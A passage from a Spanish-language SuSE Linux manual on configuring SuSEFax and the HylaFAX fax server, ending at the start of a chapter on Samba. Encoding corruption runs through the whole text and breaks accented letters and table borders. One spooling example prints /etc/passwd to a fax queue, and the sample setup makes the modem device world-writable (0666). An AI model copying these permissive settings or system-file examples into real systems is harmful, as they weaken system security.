Los distintos campos tienen los siguientes significados:
Username: Aquφ se indica nombre y apellido del usuario. La informaci≤n se
necesita para la generaci≤n automßtica de una portada de fax.
EMail: El servidor de fax envφa informaci≤n a esta direcci≤n de E-Mail,
cuando p. ej. se ha quitado un fax de la cola de envφo, por problemas del
servidor para entregarlo.
*
* 211
6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
*_______________________________________@
Figura 6.7: Cola de envφo
User Account: El servidor de fax es capaz de dar acceso a determinados
usuarios y denegarlo a otros. Por lo tanto es preciso indicar aquφ el nombre
de cuenta como identificaci≤n del usuario frente al servidor. TambiΘn se
puede asignar una contrase±a al usuario.
Hostname of Faxserver: Es el nombre de la computadora que ejecuta el
servidor de Fax.
Automatic Faxing: Con esta opci≤n activada se comprueba en intervalos
de segundos el fichero que se indica bajo `Path to Spool File'. Si
este fichero cambia, se abre automßticamente el cuadro de dißlogo `Send
Fax'. Esta opci≤n es bastante adecuada cuando se imprime desde una
aplicaci≤n (ofimßtica) directamente a un fichero. De este modo se puede
enviar un Fax desde cualquier aplicaci≤n, siempre que Θsta sea capaz
de convertir el documento en PostScript (ver apartado 6.10.3 en la pßgi-
na 219Fax-Spooling en UNIX /Linux subsection.6.10.3).
Path to Spool File: Tiene que indicar la rama completa en la que se encuen-
tra el fichero Spool si desea enviar un fax automßticamente. Seleccio-
nando el bot≤n `Browse', se abre un navegador que le permite buscar el
212
_____________________________________________________________6.10.__Linux_+_Fax:_íUna_buena_combinaci≤n!____________________*
*______________________
Figura 6.8: Cuadro de dißlogo para la configuraci≤n global
fichero.
Path to Faxcover: Para generar automßticamente una portada se necesita un
fichero especial en PostScript. Aquφ se indica la rama completa hacia este
fichero.
Timezone: Aquφ se define la misma zona de tiempo que hay en la computa-
dora local.
Local (Country): Aquφ se indica el paφs para conseguir una configuraci≤n
regional en cuanto a la presentaci≤n de hora y fecha (p. ej. en la portada
de fax)
Configuraci≤n de tareas
Directamente despuΘs de una correcta configuraci≤n global, se puede enviar
el primer fax. Un fax o un fichero a enviar, se convierte para el servidor de
fax en una tarea que espera en la cola de envφo a que dicho servidor la realice.
A cada tarea le pertenecen parßmetros que pueden ser modificados antes o
despuΘs de la entrada de la misma en la cola. Antes de mandar el fax, se
realiza la modificaci≤n con el dißlogo `Job settings' que se accede con
el men· `Extras'. Cada parßmetro tiene el siguiente significado:
Notification Scheme: Aquφ se define cußndo el servidor de fax debe pasar
un mensaje a la direcci≤n de E-Mail configurada. Hay cuatro diferentes
esquemas:
o Nunca (Solo errores): El usuario solo recibe un mensaje de aviso
cuando ocurre un fallo en el envφo, debido al cual no se puede enviar
el mensaje.
*
* 213
6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
*_______________________________________@
Figura 6.9: Cuadro de dißlogo para los parßmetros de las tareas
o DespuΘs del envφo: El usuario recibe un mensaje de confirmaci≤n
despuΘs de cada envφo.
o DespuΘs de `Requeue': Se notifica al usuario el fallo en el envφo,
p. ej. cuando la contraparte estß comunicando (lφnea ocupada).
o DespuΘs de `Requeue' y `Envφo:' Una mezcla de los dos esquemas
anteriores.
El primer esquema siempre estß activado. Seleccionando p. ej. esquema
dos, se informa al usuario tambiΘn cuando falla el envφo de un fax.
Resolution: Aquφ se define la resoluci≤n del fax a enviar. La resoluci≤n se
indica en lφneas por pulgada (ingl. lines per inch (lpi)).
Priority: La prioridad de una tarea en la cola de envφo cuyo valor por defecto
es 127. El servidor de fax modifica la prioridad seg·n necesidad, p. ej.
cuando el envφo falla por encontrar la lφnea de la contraparte ocupada.
Max. Tries to Send: El n·mero indica cußntas veces el servidor debe inten-
tar enviar el fax, cuando p. ej. hay fallos de transmisi≤n por una lφnea
ruidosa.
Max. Tries to Dial: Cantidad de intentos de conexi≤n con la contraparte,
cuando Θsta no contesta o comunica.
214
_____________________________________________________________6.10.__Linux_+_Fax:_íUna_buena_combinaci≤n!____________________*
*______________________
Paper size: SuSEFax soporta tres tama±os de papel A4, A3 y ''North Ameri-
can Letter''. Este parßmetro depende del formato del fichero PostScript a
enviar.
Si en la ventana principal esta activada la opci≤n `Modify job parame-
ters', tendrß la posibilidad de modificar con un doble-click los parßmetros
de la tarea en la lista. El cuadro de dißlogo que se abre permite modificar
los parßmetros `Notification scheme', `Maximum tries to send' y
`Maximum tries to dial'.
Visualizador externo
Cuando la lista de tareas muestra la cola de recepci≤n, se puede visualizar
el fax recibido mediante un visualizador externo . Este debe ser capaz de
visualizar imßgenes en formato tiffg3 , ya que el servidor de fax trabaja
con este formato el cual permite poner varias imßgenes en un solo fichero.
El programa SuSEFax contiene un peque±o script que genera un documen-
to PostScript, usando el comando fax2ps del TIFF Software de Sam Lef-
fler (paquete tiff). Este documento se pasa entonces a un visualizador de
PostScript. El script busca primero el programa gv de Johannes Plass (paque-
te gv) y despuΘs GhostView de Timothy O. Theisen (paquete gs_x11). El
script se llama docview y se encuentra en /usr/lib/SuSEFax. Los ajustes
en el cuadro de dißlogo de configuraci≤n del visualizador externo tienen los
siguientes significados:
Path for temporary files: (Directorio de los ficheros temporales) SuSEFax
coloca la imagen recibida del tipo tiffg3 en este directorio, reemplazan-
do $F con el camino completo a este fichero.
_______________________________________________________________________________________________________________________||
|||||||| íEl usuario que ha iniciado SuSEFax necesita los derechos de escritura y ||| |
|||||||| lectura en este directorio! || |
||||||||_______________________________________________________________________________________________________________||_
Viewer Call: (Llamada al visualizador) Aquφ se indica la rama completa del
programa o script que debe visualizar el fichero. Este programa debe
aceptar como parßmetro la rama del fichero a visualizar.
Enviar un Fax
DespuΘs de haber realizado los ajustes mßs importantes, lo primero es com-
probar si se puede consultar el estado del servidor de fax (ver en la pßgi-
na 211Instrucciones de usosubsection.6.10.1). Si esto no fuera posible, tam-
poco se podrφa enviar ning·n fax y habrφa que comprobar la configuraci≤n de
SuSEFax o del servidor HylaFAX . Si por el contrario todo estß bien ajustado
y se selecciona la opci≤n de menu `Send Fax', aparece un cuadro de dißlogo
cuyos campos tienen el siguiente significado:
Phone number of recipient: El n·mero de telΘfono del destinatario. Pul-
sando el bot≤n `From telephone book' se abre la agenda telef≤nica y
se puede seleccionar directamente un n·mero de telΘfono de la agenda.
Document to be sent: Aquφ se indica el nombre y la rama completa del doc-
umento PostScript a enviar. Si se pulsa el bot≤n `Search', aparece un
navegador de disco que ayuda seleccionar el documento.
*
* 215
6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
*_______________________________________@
With Cover-Fax: (Con portada de fax) Solo se puede activar este bot≤n si
se ha indicado en los ajustes globales la rama completa de un fichero de
portada de fax. Si el bot≤n estß activado es posible rellenar los siguientes
campos con lo cual se genera y se envφa una portada de fax .
Do not send immediately: (No enviar inmediatamente) Seleccionando este
bot≤n se abre una ventana de dißlogo que permite introducir la hora de
envφo; si se sale de esta ventana con `Cancel', el fax se envφa como si se
hubiese salido de ella con `Send Fax'. Al indicar la fecha y la hora del
envφo tenga en cuenta lo siguiente:
o DespuΘs de introducir algo en un campo pulse |______|-, ya que asφ el pro-
grama comprueba automßticamente si se trata de una entrada vßlida; si
no lo fuera, el programa la convierte en una fecha vßlida.
Name of sender: (Nombre del remitente) Por defecto aparece siempre el
nombre que se ha indicado en los ajustes globales.
Name of recipient: Nombre del destinatario
Regarding: El asunto.
To company: A la empresa.
Comment: Los comentarios.
Al seleccionar `Poll Fax' (Solicitar fax) se supone que se ha introducido
el n·mero de telΘfono del servidor de ''polling'' de fax. En tal caso, evidente-
mente, no hace falta indicar un fichero a enviar puesto que es para recibir.
Significado de las entradas en la lista de tareas
Como ya se ha mencionado, en la lista de tareas se pueden visualizar tanto
aquellas que estßn en la cola de envφo como las que se encuentran en la cola
de recepci≤n. Lo siguiente explica el significado de los distintos elementos
de las entradas.
La cola de recepci≤n
Figura 6.10: Ejemplo de una entrada en la cola de recepci≤n
De izquierda a derecha se anotan primero los derechos de acceso, el tama±o
en bytes, el n·mero de pßginas, la TSI y el nombre de fichero de un fax
recibido. El TSI (ingl. Transmission Subscriber Identification) es la identi-
ficaci≤n definida por la contraparte que envφa el fax. Puede tratarse de un
n·mero de telΘfono, un nombre de empresa o algo similar.
216
_____________________________________________________________6.10.__Linux_+_Fax:_íUna_buena_combinaci≤n!____________________*
*______________________
_______________________________________________________________________________________________________________________||
|||||||| Los faxes recibidos solo se pueden visualizar con un doble-click si ||| |
||||||||| la configuraci≤n del servidor de fax otorga derechos de lectura a to- || ||
|||||||| dos los usuarios. Para conseguirlo, hay que anotar en el fichero ||| |
|||||||| || |
|||||||| /var/spool/fax/etc/config.device por detrßs de la palabra clave| |
|||||||| RecvFileMode: los derechos 0644 (ver apartado 6.10.4 en la pßgi- || |
|||||||| || |
|||||||| na 222Configuraci≤ntable.6.3). || |
||||||||_______________________________________________________________________________________________________________||_
La cola de envφo
Figura 6.11: Ejemplo de una entrada en la cola de envφo
De izquierda a derecha se anota la identificaci≤n de tarea (ingl. Job-ID), la
prioridad, la cuenta de usuario, el n·mero de telΘfono del destino, la hora de
envφo, el n·mero de intentos a llamar y el n·mero mßximo de intentos. Si
ocurre un error, el mensaje acerca de Θste se a±ade a la lφnea. El servidor
de fax asigna automßticamente la identificaci≤n de tarea (Job-ID). Se puede
ajustar la prioridad para cada tarea, pero el servidor de fax la modifica seg·n
se necesite; solo el usuario que ha iniciado una tarea puede modificar sus
parßmetros o borrarla.
La agenda telef≤nica
Figura 6.12: La agenda telef≤nica
La agenda telef≤nica (ver figura 6.12) permite administrar nombres y
n·meros de faxes. Es posible clasificar por nombre, apellido, n·mero de
fax o nombre de empresa. Un doble-click sobre una entrada en la lista de
telΘfonos abre el editor de entradas con el cual se visualizan todas las en-
tradas de la lista cuyos elementos se pueden modificar seleccionando el bot≤n
`Edit'; estas modificaciones se guardan seleccionando `Accept entry',
*
* 217
6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
*_______________________________________@
suponiendo que se ha proporcionado anteriormente `Name', `Surname' y
`Telephone number'.
Cuando el editor de entradas estß en modo `View entry', un click sobre
el bot≤n `Send Fax' abre el `Send fax dialogue' (dißlogo de enviar
fax) y entonces los elementos `Name', `Surname', `Telephone number',
`Company' y `Comments' se incorporan en la portada de fax (ver en la
pßgina 215Enviar un Faxsubsection.6.10.1). Esta portada solo se envφa si
el bot≤n `Use fax cover' estß seleccionado.
Con `Add' se a±ade una nueva entrada a la agenda y `Remove' borra la
entrada marcada en la lista. El proceso de ordenar se inicia con cada selecci≤n
del bot≤n `Sort' siguiendo el criterio bajo `Shown is'.
No se pueden seleccionar los botones `Save changes' y `Save + Exit'
antes de haber seleccionado `Take entry' en el editor de entradas o bien
`Sort' o `Remove'.
TambiΘn se puede iniciar la agenda telef≤nica por sφ sola. De ello se encarga
el ''Wrapper'' susephone : se introduce simplemente susephone en la lφnea
de entrada, aunque de este modo no se pueden enviar faxes.
________________________________________________________________________________________________________*
*________||
| No se debe iniciar el programa de la agenda telef≤nica dos veces en la *
* ||||
| misma cuenta de usuario. Si esto ocurriese, se debe tener cuidado de no *
* |||
| *
* |||
| grabar la agenda en ambas ventanas. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Envφo m·ltiple de faxes
El cuadro de dißlogo para enviar una serie de faxes permite generar una lista
de destinatarios desde las entradas en la agenda. Para a±adir o quitar entradas
a esta lista hay que seleccionarla primero. Se pueden seleccionar las entradas
con la tecla del mouse o con uno de los `Toggle'-Buttons. Pulsando p. ej. el
bot≤n `(Toggle' se seleccionan todas las entradas que estßn sin seleccionar
y se deseleccionan las que ya lo estßn; se procede de igual modo para la lista
de envφo m·ltiple. Con el bot≤n `Send fax' se envφan todas las entradas que
se encuentran en la lista. En caso de envφo m·ltiple no se puede generar una
portada automßtica.
6.10.2 Generaci≤n automßtica de portada
La generaci≤n automßtica de una portada de fax necesita una plantilla en
PostScript. No se trata de un fichero que pueda ser manejado por parte
de un interpretador de PostScript, sino que es un fichero con variables ''en
blanco'', que se rellenan en el momento de generar la portada. Por eso puede
resultar un poco complicado hacer este tipo de plantilla. Los que conocen
ALTEX estßn de suerte ya que existe el paquete latex-cover 6 de R. Krienke.
Este paquete trae un TEX-Style, que le permite a un entendido en TEX, generar
una plantilla sin mayores problemas. La portada que viene con este paquete
y con el paquete hylafax fue elaborado con latex-cover .
Si no se usa latex-cover hace falta generar un fichero PostScript e introducir
manualmente las macros y las variables necesarias.
_____________________________________________6
Este paquete se instala junto con el paquete hylafax bajo /usr/doc/packages/hylafax.
218
_____________________________________________________________6.10.__Linux_+_Fax:_íUna_buena_combinaci≤n!____________________*
*______________________
Las palabras clave de SuSEFax
Para crear el documento TEX, que representa la plantilla, se deben conocer
las macros que SuSEFax soporta actualmente:
__________________________
|__\toperson______|_______
|__\from______________|___
|__\regarding____|________
|__\tocompany____|________
|__\todaysdate__|_________
|__\comments______|_______
El programa faxcover del paquete hylafax sirve para probar la plantilla
''bricolada a mano'' ya que Θste la convierte en un fichero PostScript listo
para visualizar o imprimir. Otra posibilidad para probar es el uso del binario
de Java FaxCovergen.class del paquete susefax. Simplemente se introduce
en cualquier directorio el siguiente comando:
tux@tierra:/home/tux > java -classpath
/usr/lib/java/lib/classes.zip:/usr/lib SuSEFax.FaxCovergen
Deberφa aparecer la siguiente respuesta:
_______________________________________________________________________________________________________________________
|||||||| Command: FaxCovergen sourcecover.ps docname.ps targetcover.ps |
|||||||| |
||||||||_______________________________________________________________________________________________________________ |
''Sourcecover'' es la portada fuente, docname.ps es el documento que real-
mente se manda junto con un fax y en targetcover.ps se guarda la portada
de fax generada. Estos argumentos se a±aden simplemente al comando indi-
cado arriba. Ahora puede visualizar cualquiera de estos ficheros PostScript.
6.10.3 Fax-Spooling en UNIX /Linux
El mecanismo de ''spooling'' (bobinar ~ en realidad no se bobina nada, pero
la palabra se deriva del hecho de que las tareas se van ejecutando secuen-
cialmente, como si estuviesen colocadas en una cinta que se estß bobinando)
realmente fue pensado para Windows , pero tambiΘn se puede utilizar esta
caracterφstica bajo Linux . Instale simplemente el paquete faxprint, serie n
(Netzwerk-Support).
Ahora se puede p. ej. convertir el fichero /etc/passwd mediante
a2ps -nP /etc/passwd | lpr -Pfax a Postscript y pasarlo por el filtro
de impresi≤n configurado. DespuΘs debe aparecer en el directorio /tmp un
fichero denominado fax_accountname.ps . accountname es el nombre de
usuario que se ha usado para entrar al sistema. Si este fichero realmente ex-
iste, se puede poner como fichero de ''spool'' como se ha explicado en aparta-
do 6.10.1 en la pßgina 211Configuraci≤n globalsubsection.6.10.1 y activar el
bot≤n `Automatic fax'.
*
* 219
6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________||
| El mecanismo de ''spooling'' solo puede funcionar si SuSEFax estß ac- *
* ||||
|| tivado. En tal caso se comprueba regularmente la marca de tiempo *
* ||||
| Lastmodified del fichero de spooling y se abre el dißlogo de definici≤n *
* ||||
| *
* |||
| del destinatario en SuSEFax , cuando aparece alg·n cambio. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
6.10.4 HylaFAX ~ Gesti≤n distribuida de faxes
Funcionamiento
El soporte de instalaci≤n no cubre la configuraci≤n de HylaFAX (ver aparta-
do H.1.2 en la pßgina 541Cobertura del soporte de instalaci≤nsubsection.H.1.2).
La figura 6.13 muestra el funcionamiento del servidor de fax y el principio de
interacci≤n con los clientes; tal como muestra el esquema, existen tres vφas de
comunicaci≤n entre los clientes y el servidor. El protocolo que funciona con
el puerto 4557 existe por razones de compatibilidad con versiones antiguas
de HylaFAX ; existe p. ej. el cliente WinFlex de Peter Bentley para Windows ,
que sigue usando este protocolo. Los clientes mßs recientes deberφan usar el
protocolo nuevo el cual se identifica aquφ con el puerto 4559 y cuya estruc-
tura se asemeja mucho a la del File Transfer Protocol, RFC959 . El tercer
protocolo es el SNPP (Simple Network Paging Protocol, RFC1861) .
Figura 6.13: El funcionamiento del servidor HylaFAX
220
_____________________________________________________________6.10.__Linux_+_Fax:_íUna_buena_combinaci≤n!____________________*
*______________________
El servidor se compone de tres daemons, los cuales cumplen cada uno, una
determinada tarea:
hfaxd es el servidor de protocolo que se encarga de la comunicaci≤n entre
cliente y servidor. Se puede iniciar bien durante el arranque de forma
''standalone'' mediante el proceso Init , o bien, mediante el Inetd . A travΘs
de un fichero ''FIFO special file'', hfaxd se comunica con el proceso faxq .
faxq representa el ''Queueing Agent''. Se encarga de administrar la cola de
tareas y los faxes que entran y salen. El proceso se ejecuta continuamente
y no puede correr mßs de uno al mismo tiempo.
faxgetty se encarga de la comunicaci≤n con el modem. Si no se necesita
recibir fax, se puede usar faxmodem como alternativa a faxgetty que
ademßs permite ser administrado a travΘs de un fichero FIFO7
La estructura de directorios
Todo el servidor se ejecuta en un entorno ''Change-Root''. El ''Server-Root''
se encuentra por defecto en /var/spool/fax. Los procesos del servidor y
el directorio Server-Root pertenecen al usuario y grupo `uucp'. La tabla 6.3
en la pßgina siguiente muestra todos los directorios que se encuentran en el
Server-Root y explica sus funciones.
______________________________________________________________________________________________________________________
archive Aquφ se archivan las tareas, si el job archival support fue acti-
vado.
bin En este directorio se almacenan scripts usados por los progra-
mas faxq, faxsend, pagesend y faxgetty.
client Este directorio contiene los ficheros FIFO, necesarios para la
comunicaci≤n con el programa faxq.
config Aquφ y en el directorio etc se encuentran la configuraci≤n, el
control de acceso y la administraci≤n de usuarios.
dev Ya que todo el sistema corre en un entorno chroot , aquφ se
encuentran los dispositivos necesarios (null, socksys y tcp).
docq Este directorio ~ al igual que tmp ~ se necesita p. ej. para la
preparaci≤n de tareas a realizar.
doneq Aquφ se guardan tareas que fueron terminadas, pero que no han
sido ni quitadas de la cola ni archivadas.
etc ver config.
info Este directorio alberga informaci≤n sobre las caracterφsticas de
las mßquinas con las que HylaFAX ya ha estado en contacto
alguna vez.
log Este directorio contiene informaci≤n de registro sobre las se-
siones de envφo y recepci≤n.
pollq En este directorio hay documentos obtenidos con ''polling''.
______________________________________________________________________________________________________________________
Tabla 6.3: Contin·a en la pßgina siguiente ...
7 ____________________________________________________
Un fichero FIFO (ingl. FIFO = First In First Out) es un fichero del que se puede leer informa-
ci≤n en el mismo orden en el cual fue escrito.
*
* 221
6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
*_______________________________________@
_______________________________________________________________________________________________________*
*_________
sendq Para almacenar los faxes a enviar.
recvq Para almacenar los faxes que llegan.
status Aquφ se almacenan ficheros que contienen informaci≤n sobre
el estado actual del servidor.
tmp ver docq.
_______________________________________________________________________________________________________*
*_________
Tabla 6.3: Los directorios Server-Root y sus funciones
Aparte de estos directorios hay tambiΘn ficheros FIFO que son: El fichero
/var/spool/fax/FIFO y por cada modem administrado por faxgetty un
fichero /var/spool/fax/FIFO.devname, donde devname es el nombre de
dispositivo al que se conecta el modem.
Configuraci≤n
La configuraci≤n del servidor estß distribuida desde 2 hasta 2+n ficheros de
configuraci≤n, donde `n' representa la cantidad de modems en uso. El direc-
torio /var/spool/fax/etc alberga los ficheros de configuraci≤n config
y config.device . Este ·ltimo determina la configuraci≤n del modem
conectado al dispositivo device. Si p. ej. estuviera el modem conectado a
/dev/ttyS0, este fichero se llamarφa config.ttyS0.
El fichero config contiene ajustes de ßmbito general que necesitan el proceso
de planificaci≤n faxq. config.device alberga la configuraci≤n especφfica
del modem y config la del ''Queueing-Agent''. Los ajustes del servidor de
protocolo se encuentran en el fichero /usr/lib/fax/hfaxd.conf. Todos
estos ficheros de configuraci≤n se generan automßticamente, ejecutando el
script faxsetup despuΘs de la instalaci≤n.
Ejemplo de una sesi≤n de configuraci≤n
Lo siguiente muestra una sesi≤n de configuraci≤n ejemplo iniciada por
faxsetup . Para esta sesi≤n se supone que son vßlidos los valores anotados
en la tabla 6.4.
________________________________________________________________________________________________________*
*________
N·mero de telΘfono (0)49(0)911-1234568
Tipo (clase) de modem 2.0
________________________________________________________________________________________________________*
*________
Tabla 6.4:
Las letras en negrita indican los datos a introducir.
_____________________________________________8
Cuando se ejecuta faxsetup se reemplaza este n·mero con el propio.
222
_____________________________________________________________6.10.__Linux_+_Fax:_íUna_buena_combinaci≤n!____________________*
*______________________
Configuraci≤n del planificador (scheduler)
o Should an entry be added to /etc/inetd.conf [no]? | ____ |
_____-
o Country code [1]? 49
o Area code []? 911
o Long distance dialing prefix [1]? 0
o International dialing prefix [011]? 00
o Dial string rules file (relative to__
/var/spool/fax) ["etc/dialrules"]? |_____-|
o Tracing during normal server operation [1]? 527
o Default tracing during send and receive
sessions [0xffffffff]? 527
o Continuation cover page (relative to
/var/spool/fax) []? etc/cover.templ
o Timeout when converting PostScript_
documents (secs) [180]? |_____-| ____
o Maximum number of concurrent jobs to a destination [1]? |_____-|
o Define a group of modems []? Σ ny:.*"
o Time of day restrictions for outbound jobs ["Any"]? |______|-
o Pathname of destination__controls file (relative to
/var/spool/fax) []? |_____-|
o Timeout before purging a _stale_ UUCP
lock file (secs) [30]? |_____-|
o Max number of pages to permit in an
outbound job [0xffffffff]? 30
o Syslog facility name__for_ ServerTracing
messages [daemon]? |_____-|
DespuΘs de haber introducido los datos, aparece el resumen como se ve en el
salida en pantalla 6.10.1.
_______________________________________________________________________________________________________________________||
|||||||| The non-default scheduler parameters are: |
|||||||| |
|||||||| |
|||||||| CountryCode: 49 |
|||||||| AreaCode: 911 |
|||||||| |
|||||||| LongDistancePrefix: 0 |
|||||||| InternationalPrefix: 00 |
|||||||| |
|||||||| ServerTracing: 527 |
|||||||| ContCoverPage: etc/cover.templ |
|||||||| |
|||||||| MaxSendPages: 30 |
|||||||| ModemGroup: "any:.*" |
|||||||| |
|||||||| SessionTracing: 527 |
||||||||_______________________________________________________________________________________________________________ |
Mensaje en pantalla 6.10.1:
Configuraci≤n del servidor
DespuΘs de la configuraci≤n del planificador (ingl. scheduler), faxsetup
cuestiona si se debe configurar un modem con faxaddmodem . Esta pregunta
*
* 223
6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
*_______________________________________@
la respondemos evidentemente con yes . Ahora viene la pregunta sobre el
puerto serie del modem que se debe contestar con el nombre de dispositi-
vo, sin indicar la rama completa del modem ~ /dev/modem se convierte en
modem.
o Country code [49]? |______|-
o Area code [911]? |______|-
o Phone number of fax modem [+1.999.555.1212]?
+49.911.123456
o Local identification string (for TSI/CIG)
["NothingSetup"]? ⁿS SE GmbH"
o Long distance dialing prefix [0]? |______|-
o International dialing prefix [00]? |______|-
o Dial string rules file (relative to__
/var/spool/fax) ["etc/dialrules"]? |_____-|
o Tracing during normal server operation [1]? 527
o Tracing during send and receive sessions [11]? 527
o Protection mode for received facsimile [0600]? 0644
o Protection mode for session logs [0600]? |______|-
o Protection mode for modem [0600]? 0666
o Rings to wait before answering [1]? |______|-
o Modem speaker volume [off]? |______|-
o Command line arguments to getty program ["-h %l dx_%s"]?
"-r -b -s %s %l"
o Pathname of TSI access control list__file_
(relative to /var/spool/fax) [""]? |_____-|
o Pathname of Caller-ID access control list____
file (relative to /var/spool/fax) [""]? |_____-|
o Tag line font file (relative to ____
/var/spool/fax) [etc/lutRS18.pcf]? |_____-|
o Tag line format string ____
["From %%l|%c|Page %%p of %%t"]? |_____-|
o Time before purging _a__stale UUCP lock
file (secs) [30]? |_____-|
o Hold UUCP lockfile_ during inbound data
calls [Yes]? |_____-|
o Hold UUCP lockfile during inbound voice calls [Yes]? |______|-
o Percent good lines to accept_ during copy
quality checking [95]? |_____-|
o Max consecutive bad lines to__accept_ during
copy quality checking [5]? |_____-|
o Max number of pages_ to accept in a received
facsimile [30]? |_____-|
o Syslog facility name__for_ ServerTracing
messages [daemon]? |_____-|
224
_____________________________________________________________6.10.__Linux_+_Fax:_íUna_buena_combinaci≤n!____________________*
*______________________
|||||||| |
_______________________________________________________________________________________________________________________||||
|||||||| The non-default server configuration parameters are: |
||||||||| ||
|||||||| CountryCode: 49 |
|||||||| AreaCode: 911 |
|||||||| FAXNumber: +49.911.123456 |
|||||||| |
|||||||| LongDistancePrefix: 0 |
|||||||| InternationalPrefix: 00 |
|||||||| |
|||||||| DialStringRules: "etc/dialrules" |
|||||||| ServerTracing: 527 |
|||||||| SessionTracing: 527 |
|||||||| |
|||||||| RecvFileMode: 0644 |
|||||||| DeviceMode: 0666 |
|||||||| |
|||||||| RingsBeforeAnswer: 1 |
|||||||| SpeakerVolume: off |
|||||||| |
|||||||| GettyArgs: "-r -b -s %s %l" |
|||||||| LocalIdentifier: "SuSE GmbH" |
|||||||| |
|||||||| TagLineFont: etc/lutRS18.pcf |
|||||||| TagLineFormat: "From %%l|%c|Page %%p of %%t" |
|||||||| |
|||||||| MaxRecvPages: 25 |
||||||||_______________________________________________________________________________________________________________ |
Mensaje en pantalla 6.10.2:
o Set UID to 0 to manipulate CLOCAL [""]? |______|-
DespuΘs de haber introducido los datos aparece el resumen del salida en
pantalla 6.10.2.
Ahora la configuraci≤n del planificador y del servidor estßn terminadas.
Al final viene la pregunta, si se debe iniciar faxmodem para cada modem
configurado. Es la alternativa a faxgetty que solo permite enviar (pero no
recibir) faxes.
Adaptive Answer Support
Una caracterφstica muy prßctica es la del ''Adaptive Answer Support'', que
le permite al servidor de fax (faxgetty ) iniciar cualquier otro programa getty
cuando se detecta que la llamada que entra no es un fax sino una llamada
de petici≤n de datos. Para activar este servicio se ha a±adido durante la
sesi≤n de configuraci≤n ejemplo (ver en la pßgina 222Configuraci≤ntable.6.3)
la entrada que se ve en el fichero 6.10.2.
_______________________________________________________________________________________________________________________
|||||||| GettyArgs: "-r -b -s %s %l" |
|||||||| |
||||||||_______________________________________________________________________________________________________________ |
Fichero 6.10.2: Entrada para Adaptive Answer Support
Aquφ %s es el sustituto para la tasa DTE/DTC entre computadora y modem
cuyo valor predeterminado es 38400 bps (ingl. bits per second). Algunos
modems de la empresa USRobotics tienen problemas con esta tasa cuando
estßn en modo fax (ver la documentaci≤n [Lef96 ]). Para evitarlos, la variable
<ModemRate> en el fichero de configuraci≤n especφfico del modem, debe
tomar el valor 19200. Al igual que getty , se utiliza tambiΘn mgetty del
*
* 225
6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
*_______________________________________@
paquete mgetty, serie n (Netzwerk-Support); esto precisa de la ampliaci≤n
del fichero de configuraci≤n de mgetty (/etc/mgetty+sendfax/mgetty.
config) con la entrada que se ve en el fichero 6.10.3.
________________________________________________________________________________________________________*
*________||
| port modem *
* |
| direct y *
* |
| toggle-dtr n *
* |
|_______________________________________________________________________________________________________*
*________ |
Fichero 6.10.3: Entrada en el fichero de configuraci≤n de mgetty
El denominador modem 9 representa el nombre de dispositivo a travΘs del cual
se accede al modem. Lo importante es que tanto faxgetty como mgetty
accedan al mismo dispositivo.
Fax Dispatching
Otra caracterφstica interesante es el traspaso automßtico de un fax entrante a
una determinada direcci≤n de E-Mail. Para ello hace falta generar el fichero
etc/FaxDispatch en el directorio Server-Root. El fichero 6.10.4 muestra
un ejemplo de un fichero semejante.
________________________________________________________________________________________________________*
*________
| case "$SENDER" in *
* |
| *
* |
| *0815*) SENDTO=tux;; *
* |
| *) SENDTO=FaxMaster;; *
* |
| esac *
* |
|_______________________________________________________________________________________________________*
*________ |
Fichero 6.10.4: Ejemplo de etc/FaxDispatch
Los faxes que entran se identifican con su TSI. En este caso, todos los faxes
que contienen la combinaci≤n de cifras 0815 en su TSI, se envφan por E-Mail
al usuario `tux' en forma de un attachment en formato PostScript10 . A parte
de esto, los demßs faxes que entran se traspasan al `FaxMaster'.
________________________________________________________________________________________________________*
*________||
| Si tiene problemas con la instalaci≤n o la configuraci≤n de HylaFAX , no *
* ||||
| *
* |||
| dude en consultar nuestro banco de datos de soporte (sistema de ayuda, *
* |||
| paquete susehilf, serie doc (documentaci≤n)). Bajo la palabra clave *
* |||
| *
* |||
| Σf x" encontrarß muchos consejos. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
_____________________________________________9
/dev/modem es el enlace hacia /dev/ttySx.
10 Por supuesto puede cambiar el formato, modificando bin/faxrcvd en el Server-Root.
226
Capφtulo 7
Bailemos samba. . .
Con la ayuda del programa Samba , del australiano Andrew Tridgell, es
posible hacer de cualquier computadora Unix un servidor de ficheros y de
impresi≤n potente, con clientes que corren bajo DOS o Windows. Desde el
comienzo de su desarrollo en 1991, Samba se ha convertido en un producto
muy estable ocupando un sitio fijo en el mundo empresarial, donde se usa
como complemento o incluso como reemplazo de los servidores Novell Net-
Ware o Windows NT .
7.1 Introducci≤n
Samba es ya un producto muy complejo y, por eso, no le podemos ofre-
cer aquφ una descripci≤n detallada de todas las posibilidades, sino que nos
quedamos con un resumen de las funciones mßs destacadas. El directo-
rio pfad/usr/doc/packages/samba contiene muchos documentos que le sirven
para conseguir incluso configuraciones complejas. La pßgina del manual de
smb.conf (man smb.conf ) contiene la referencia del fichero de configu-
raci≤n de Samba 1 .
Samba usa el protocolo SMB (Server Message Block) de la empresa Mi-
crosoft. Sin embargo, en todos los clientes (p. ej. Windows 95 / 98 o Windows
NT), el protocolo TCP/IP debe estar instalado ya que Samba usa el protocolo
SMB sobre TCP/IP. Computadoras con Windows que tienen acceso a Internet
ya tienen TCP/IP instalado.
El protocolo SMB (ingl. Server Message Block) ofrece servicios de impresi≤n
y de acceso a ficheros para el mundo de Windows y LAN Manager y se basa
en los servicios NetBIOS, por eso, se puede comparar el servicio de ficheros
con el de NFS. A este respecto, SMB no se diferencia de otros protocolos
como p. ej. el NetWare Core Protocol. Microsoft ~ a diferencia de Novell ~
ha publicado la especificaci≤n del protocolo SMB, asφ que es posible el uso
de este protocolo por parte de terceros.
